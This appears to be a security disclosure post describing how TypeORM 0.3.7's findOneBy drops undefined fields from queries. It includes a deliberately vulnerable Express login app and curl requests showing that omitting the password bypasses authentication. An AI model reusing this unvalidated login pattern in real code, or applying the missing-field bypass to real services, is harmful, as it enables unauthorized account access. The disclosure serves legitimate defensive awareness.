TypeORM version 0.3.7 suffers from an information disclosure vulnerability.
246e2571f6477cd3e3f3b0900f9c7911b435e8fef9e4f9208dcfefc345575951I found what I think is a vulnerability in the latest typeorm 0.3.7.
TypeORM v0.3 has a new findOneBy method instead of findOneById() and it is
the only way to get a record by id
Sending undefined as a value in this method removes this parameter from the
query. This leads to the data exposure.
For example:
Users.findOneBy({id: req.query.id}) with /?id=12345 produces SELECT * FROM
Users WHERE id=12345 LIMIT 1 while removing id from the query string
produces SELECT * FROM Users LIMIT 1
Maintainer also does not consider this a vulnerability and stated the
root cause is bad input validation. I tried to contact Snyk, but they
took the author's position. I still think it is a major vulnerability
Vulnerable app:
import {
Entity,
PrimaryGeneratedColumn,
Column,
Connection,
ConnectionOptions,
Repository,
createConnection
} from 'typeorm';
import express from 'express';
import {Application, Request, Response} from 'express';
let connection: Connection;
async function myListener(request: Request, response: Response) {
if(!connection)
connection = await createConnection(connectionOpts);
const userRepo: Repository<User> = connection.getRepository(User);
const { email, password }: Record<string, string> = request.body;
const user = await userRepo.findOneBy({ email, password });
return response.json(user ? 'ok' : 'denied');
}
@Entity({ name: 'Users' })
class User {
@PrimaryGeneratedColumn()
id!: number;
@Column()
email!: string;
@Column()
password!: string;
}
const connectionOpts: ConnectionOptions = {
type: 'mysql',
name: 'myconnection',
host: 'localhost',
username: 'root',
password: 'test123',
database: 'domurl',
entities: [User]
}
const app: Application = express();
app.use(express.json());
app.post( "/authenticate", myListener);
app.listen(4444, () => console.log('App started'));
Usage:
curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "[email protected]", "password":
"incorrect"}'
"denied"⏎
Exploit:
curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "[email protected]"}'
"ok"⏎